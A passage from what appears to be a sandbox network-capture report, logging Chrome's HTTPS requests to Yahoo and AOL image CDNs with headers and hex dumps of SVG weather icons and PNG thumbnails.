ATS-Carp-Promotion: 1
2024-05-23 22:34:42 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 31 20 33 32 43 32 38 2e 31 37 39 37 20 33 32 20 33 34 20 32 36 2e 31 37 39 37 20 33 34 20 31 39 43 33 34 20 31 31 2e 38 32 30 33 20 32 38 2e 31 37 39 37 20 36 20 32 31 20 36 43 31 33 2e 38 32 30 33 20 36 20 38 20 31 31 2e 38 32 30 33 20 38 20 31 39 43 38 20 32 36 2e 31 37 39 37 20 31 33 2e 38 32 30 33 20 33 32 20 32 31 20 33 32 5a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 31 30 34 5f 35 34 30 29 22 2f Data Ascii: <svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M21 32C28.1797 32 34 26.1797 34 19C34 11.8203 28.1797 6 21 6C13.8203 6 8 11.8203 8 19C8 26.1797 13.8203 32 21 32Z" fill="url(#paint0_linear_104_540)"/
2024-05-23 22:34:42 UTC	596	IN	Data Raw: 39 39 34 34 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 44 45 30 30 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 41 37 30 30 22 2f 3e 0a 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 70 61 69 6e 74 31 5f 6c 69 6e 65 61 72 5f 31 30 34 5f 35 34 30 22 20 78 31 3d 22 31 35 2e 38 33 31 22 20 79 31 3d 22 32 37 2e 30 39 38 32 22 20 78 32 3d 22 32 36 2e 35 31 36 38 22 20 79 32 3d 22 31 35 2e 32 31 33 39 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 3e 0a 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 42 39 32 42 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 30 Data Ascii: 9944" stop-color="#FFDE00"/><stop offset="1" stop-color="#FFA700"/></linearGradient><linearGradient id="paint1_linear_104_540" x1="15.831" y1="27.0982" x2="26.5168" y2="15.2139" gradientUnits="userSpaceOnUse"><stop stop-color="#FFB92B" stop-opacity="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49808	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:42 UTC	627	OUT	GET /cv/apiv2/aolfp/images/weather/small/27-mostly-cloudy-night.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:42 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: l1AE1vwf2fg2zNGgp+lCTRzrHCLYCy2s2TWHIKi2y5TAP9HDwaCsA4/RTapusGA7q4xn3PpLNjA= x-amz-request-id: 9AW4A56KVD5KH3J2 Date: Tue, 21 May 2024 19:46:06 GMT Last-Modified: Fri, 17 Mar 2023 06:48:20 GMT ETag: "413309cdbaf0c1be85ae97d75a1086da" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 995 Referrer-Policy: no-referrer-when-downgrade Age: 182918 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:42 UTC	995	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 36 20 32 35 2e 32 33 30 38 43 34 36 20 33 33 2e 36 39 32 33 20 33 39 2e 32 33 30 38 20 34 30 2e 34 36 31 35 20 33 30 2e 37 36 39 32 20 34 30 2e 34 36 31 35 48 31 31 2e 33 30 37 37 43 36 2e 32 33 30 37 37 20 34 30 2e 34 36 31 35 20 32 20 33 36 2e 32 33 30 38 20 32 20 33 31 2e 31 35 33 38 43 32 20 32 36 2e 30 37 36 39 20 36 2e 32 33 30 37 37 20 32 31 2e 38 34 36 32 20 31 31 2e 33 30 37 37 20 32 31 2e 38 34 36 32 43 31 32 2e 38 33 30 38 20 32 Data Ascii: <svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M46 25.2308C46 33.6923 39.2308 40.4615 30.7692 40.4615H11.3077C6.23077 40.4615 2 36.2308 2 31.1538C2 26.0769 6.23077 21.8462 11.3077 21.8462C12.8308 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49810	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:42 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-07%2Fb1f2c370-2fe4-11ee-af3f-3bc97f9dc4f0&client=76f99bdb8f78cd44cc0b&signature=a92fd85ac9aa663af76ca1d3946fd8c5faa7f639 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:43 UTC	1130	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2560417 Cache-Control: public, max-age=2592000 Cache-Tag: 469107299372977444949342546647891015646,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21938-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:42 GMT Edge-Cache-Tag: 469107299372977444949342546647891015646,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "950fa11d56423bd2e5ba9400a81f5986" Expiration: expiry-date="Fri, 05 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 06 Jan 2024 16:36:47 GMT Server: ECAcc (lhd/35EA) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=359,owidth=400,oheight=400,obytes=66300,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000126-IAD X-Timer: S1711351265.338933,VS0,VE2 Content-Length: 359 Connection: close
2024-05-23 22:34:43 UTC	359	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 69 50 4c 54 45 47 70 4c ff ff ff 90 90 90 fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fe fe fe ff ff ff 01 01 01 34 34 34 02 02 02 93 93 93 df df df fb fb fb 7f 7f 7f 4e 4e 4e 08 08 08 d0 d0 d0 b2 b2 b2 14 14 14 f3 f3 f3 9f 9f 9f 6c 6c 6c d7 d7 d7 ea ea ea 8c 8c 8c 1c 1c 1c 3e 3e 3e 5a 5a 5a bf bf bf 26 26 26 a4 a4 a4 35 c9 87 12 00 00 00 0a 74 52 4e 53 00 c4 c4 c4 9d 9a dc fc 0a 33 ff 18 87 5c 00 00 00 a3 49 44 41 54 18 d3 5d 8f e7 0e 83 30 10 83 43 9b 01 be 84 0c f6 1e ef ff 90 4d 40 a5 52 fd ef 3e c9 3e 9b b1 a8 42 48 a5 a4 28 d8 ad 9c ab ae 43 12 cf af fb bd 6b 43 6d 98 77 3b be 12 e1 75 1b c2 42 51 a6 ea 79 f4 63 1e eb d3 69 5a 37 5f Data Ascii: PNGIHDR(-SiPLTEGpL444NNNlll>>>ZZZ&&&5tRNS3\IDAT]0CM@R>>BH(CkCmw;uBQyciZ7_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49806	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:42 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-07%2F64f4c710-1cd1-11ee-a4ff-74225ffec8bb&client=76f99bdb8f78cd44cc0b&signature=c29cea20723b38471dd5671b7aded44c5500be24 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:43 UTC	1500	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 52061 Cache-Control: public, max-age=2592000 Cache-Tag: 289403975039509992895969399188763570001,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21934-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 123 Content-Type: image/png Date: Thu, 23 May 2024 22:34:42 GMT Edge-Cache-Tag: 289403975039509992895969399188763570001,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "bd5bcc44e24bbb6cf6c0f812237a4427" Expiration: expiry-date="Mon, 08 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 09 Jan 2024 12:30:57 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35B8) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=363,owidth=400,oheight=400,obytes=14085,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21971-LGA X-Timer: S1711267246.679530,VS0,VE2 Content-Length: 363 Connection: close
2024-05-23 22:34:43 UTC	363	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 78 50 4c 54 45 47 70 4c ff ff ff ff ff ff 70 70 70 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 5d 5d 5d 4d 4d 4d d6 69 69 fb f0 f0 f4 d8 d8 e5 a0 a0 90 90 90 3b 3b 3b df 8c 8c db 7e 7e d1 59 59 f9 e8 e8 e1 94 94 9b 9b 9b f0 c8 c8 f6 df df a6 a6 a6 4c 4c 4c 83 83 83 78 78 78 d9 75 75 ca 40 40 64 64 64 82 82 82 cc 49 49 ea b5 b5 e8 ae ae ba ba ba af af af c3 29 29 5f f6 0c 49 00 00 00 0a 74 52 4e 53 00 c2 ff ff fa 09 9b da 31 98 3a 23 ed f9 00 00 00 98 49 44 41 54 18 d3 65 8f 57 0e c2 40 0c 05 37 f6 66 7b 4b 2f 90 46 bd ff 0d 31 45 08 91 f9 f3 48 b6 df 63 8c 50 5a 72 2e b5 62 6f 72 01 1f 44 fe 9a 33 f8 92 3d 8d 80 1f 04 ed c3 64 ed b8 59 db Data Ascii: PNGIHDR(-SxPLTEGpLppp]]]MMMii;;;~~YYLLLxxxuu@@dddII))_ItRNS1:#IDATeW@7f{K/F1EHcPZr.borD3=dY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49805	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:42 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2Fa2258160-2b7f-11eb-bbe3-c5a6dfd56406&client=76f99bdb8f78cd44cc0b&signature=668467e7d91ff5dccf4279760f0d614d88addd13 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:43 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2560466 Cache-Control: public, max-age=2592000 Cache-Tag: 491141387763699428533225341973349872950,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000144-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:42 GMT Edge-Cache-Tag: 491141387763699428533225341973349872950,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "f548b961e43b46bd52b6aa170d9bc4d8" Expiration: expiry-date="Wed, 04 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 07 Mar 2024 02:23:11 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=491,owidth=400,oheight=400,obytes=44140,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000030-IAD X-Timer: S1711351216.040879,VS0,VE2 Content-Length: 491 Connection: close
2024-05-23 22:34:43 UTC	491	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 d5 50 4c 54 45 47 70 4c 00 00 00 00 00 00 32 32 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 26 26 13 13 12 1b 1b 1b 5d 5d 5c 7a 7a 79 3e 3e 3e 90 8a b1 61 63 5c 56 55 57 69 c0 74 30 7d b4 0a 0a 0a e1 58 2d 69 69 69 85 85 85 ad ad ad 95 95 94 7a ac c3 39 39 38 f4 f6 f7 58 4e 8f 3d ac 4b 94 cc 9e b9 71 81 f2 c0 5e b6 24 44 ca 5f 75 ef c2 7b de 8e 7c ef ae 2f ea 9c 82 44 44 43 c1 c1 c0 86 81 a2 75 73 81 70 8d 73 b6 b6 b5 8c 6a 71 c2 48 62 7f c7 88 fe f7 f1 7c ad ce 6d a1 c5 7d 77 a9 85 c3 a4 85 9e c4 8e a7 c9 94 84 66 49 8d bd f9 ed ed eb 92 74 e1 a6 b3 c4 c1 d7 f6 d2 8c a8 a3 c4 54 49 4c f2 c1 62 e5 c5 8a d5 82 94 e3 66 3e e1 8c 70 96 Data Ascii: PNGIHDR(-SPLTEGpL222&&&]]\zzy>>>ac\VUWit0}X-iiiz998XN=Kq^$D_u{\|/DDCuspsjqHb\|m}wfItTILbf>p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49807	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:42 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-07%2F3c019bd0-ee43-11eb-bced-b4b62d80677d&client=76f99bdb8f78cd44cc0b&signature=ce40ac0abc26ce89b2b3a45dd92d42a44233b73e HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:43 UTC	1138	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53996 Cache-Control: public, max-age=2592000 Cache-Tag: 397222119743688046708885623724902591450,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000097-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 140 Content-Type: image/png Date: Thu, 23 May 2024 22:34:42 GMT Edge-Cache-Tag: 397222119743688046708885623724902591450,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "df9a2fde7d1d68b13d038c4ab499201b" Expiration: expiry-date="Tue, 06 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 07 Feb 2024 11:56:45 GMT Server: ECAcc (lhd/35BB) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=277,owidth=400,oheight=400,obytes=36183,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000047-IAD X-Timer: S1711265687.983994,VS0,VE2 Content-Length: 277 Connection: close
2024-05-23 22:34:43 UTC	277	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 42 50 4c 54 45 47 70 4c 00 9b ff 00 9b ff 94 d5 ff 00 9b ff 00 9b ff 00 9b ff 01 9b ff 00 9b ff 01 9b ff 74 c9 ff 61 c2 ff a6 dd ff 41 b5 ff b3 e2 ff 35 b0 ff c5 e8 ff 6b c6 ff 2b ad ff 57 be ff 85 cf ff 1a a6 ff 83 fb 6a 47 00 00 00 0a 74 52 4e 53 00 c5 ff ff db fb 9a 0a 9e 33 fd e8 dd 8d 00 00 00 78 49 44 41 54 18 d3 65 cf 37 12 c3 30 10 03 40 08 c7 78 cc 41 ff ff aa 0b 79 3c b6 b9 25 1a 00 00 80 e8 8c b5 c6 45 3c 7c e0 5b f0 00 e0 2f 7e 5c 1e 40 e0 97 00 44 fe 88 70 94 a6 35 ad fc 04 0e 86 b9 a8 48 ed 37 49 d2 c0 b2 c8 dc 2b b5 46 92 b4 b0 4c 75 e5 3d a4 24 dd a9 59 18 32 6b c9 32 73 ed a5 d3 c0 91 7a 8b 26 29 3a e6 a0 3b 6b 8f 61 e7 f4 e3 dc df Data Ascii: PNGIHDR(-SBPLTEGpLtaA5k+WjGtRNS3xIDATe70@xAy<%E<\|[/~\@Dp5H7I+FLu=$Y2k2sz&):;ka

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49811	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:42 UTC	618	OUT	GET /cv/apiv2/aolfp/images/weather/large/AccuWeather_2.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:43 UTC	795	IN	HTTP/1.1 200 OK x-amz-id-2: ZFfw9DL5iP3IJa3YG9l340K2rTruyOGILVlv0StpeOxyIheUUnUj32KP4DJk7rHb/SigeJ0euOk= x-amz-request-id: EPHM47CEWG766KTB Date: Wed, 08 May 2024 08:27:07 GMT Last-Modified: Wed, 25 Oct 2023 12:50:39 GMT ETag: "0f121237872ccb64cf52b3c4a2405745" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 5778 Referrer-Policy: no-referrer-when-downgrade Age: 1346857 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-05-23 22:34:43 UTC	1300	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 38 2e 30 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 28.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="
2024-05-23 22:34:43 UTC	1300	IN	Data Raw: 2d 30 2e 31 2c 30 2e 35 2d 30 2e 31 2c 30 2e 37 63 30 2c 30 2e 32 2c 30 2c 30 2e 34 2c 30 2e 31 2c 30 2e 37 63 30 2c 30 2e 32 2c 30 2e 31 2c 30 2e 34 2c 30 2e 32 2c 30 2e 36 63 30 2e 31 2c 30 2e 32 2c 30 2e 32 2c 30 2e 33 2c 30 2e 34 2c 30 2e 34 0a 09 43 33 30 2e 39 2c 38 2e 39 2c 33 31 2e 32 2c 39 2c 33 31 2e 34 2c 39 63 30 2e 34 2c 30 2c 30 2e 37 2d 30 2e 31 2c 30 2e 39 2d 30 2e 33 63 30 2e 32 2d 30 2e 32 2c 30 2e 33 2d 30 2e 35 2c 30 2e 34 2d 30 2e 39 68 31 2e 36 63 2d 30 2e 31 2c 30 2e 38 2d 30 2e 34 2c 31 2e 34 2d 30 2e 39 2c 31 2e 38 63 2d 30 2e 35 2c 30 2e 34 2d 31 2e 32 2c 30 2e 36 2d 32 2c 30 2e 36 0a 09 63 2d 30 2e 35 2c 30 2d 30 2e 39 2d 30 2e 31 2d 31 2e 32 2d 30 2e 32 63 2d 30 2e 34 2d 30 2e 32 2d 30 2e 37 2d 30 2e 34 2d 31 2d 30 2e 36 63 2d Data Ascii: -0.1,0.5-0.1,0.7c0,0.2,0,0.4,0.1,0.7c0,0.2,0.1,0.4,0.2,0.6c0.1,0.2,0.2,0.3,0.4,0.4C30.9,8.9,31.2,9,31.4,9c0.4,0,0.7-0.1,0.9-0.3c0.2-0.2,0.3-0.5,0.4-0.9h1.6c-0.1,0.8-0.4,1.4-0.9,1.8c-0.5,0.4-1.2,0.6-2,0.6c-0.5,0-0.9-0.1-1.2-0.2c-0.4-0.2-0.7-0.4-1-0.6c-
2024-05-23 22:34:43 UTC	1300	IN	Data Raw: 2d 30 2e 36 2c 30 2e 31 2d 30 2e 38 2c 30 2e 32 63 2d 30 2e 32 2c 30 2e 31 2d 30 2e 34 2c 30 2e 32 2d 30 2e 35 2c 30 2e 34 63 2d 30 2e 31 2c 30 2e 32 2d 30 2e 32 2c 30 2e 34 2d 30 2e 33 2c 30 2e 36 0a 09 63 2d 30 2e 31 2c 30 2e 32 2d 30 2e 31 2c 30 2e 35 2d 30 2e 31 2c 30 2e 38 76 32 2e 37 68 2d 31 2e 37 76 2d 36 4c 38 32 2e 37 2c 34 2e 31 4c 38 32 2e 37 2c 34 2e 31 7a 20 4d 37 38 2e 35 2c 35 2e 36 63 2d 30 2e 32 2d 30 2e 32 2d 30 2e 35 2d 30 2e 33 2d 30 2e 39 2d 30 2e 33 63 2d 30 2e 33 2c 30 2d 30 2e 35 2c 30 2d 30 2e 37 2c 30 2e 31 0a 09 63 2d 30 2e 32 2c 30 2e 31 2d 30 2e 33 2c 30 2e 32 2d 30 2e 34 2c 30 2e 33 63 2d 30 2e 31 2c 30 2e 31 2d 30 2e 32 2c 30 2e 33 2d 30 2e 32 2c 30 2e 34 63 30 2c 30 2e 31 2d 30 2e 31 2c 30 2e 33 2d 30 2e 31 2c 30 2e 34 68 Data Ascii: -0.6,0.1-0.8,0.2c-0.2,0.1-0.4,0.2-0.5,0.4c-0.1,0.2-0.2,0.4-0.3,0.6c-0.1,0.2-0.1,0.5-0.1,0.8v2.7h-1.7v-6L82.7,4.1L82.7,4.1z M78.5,5.6c-0.2-0.2-0.5-0.3-0.9-0.3c-0.3,0-0.5,0-0.7,0.1c-0.2,0.1-0.3,0.2-0.4,0.3c-0.1,0.1-0.2,0.3-0.2,0.4c0,0.1-0.1,0.3-0.1,0.4h
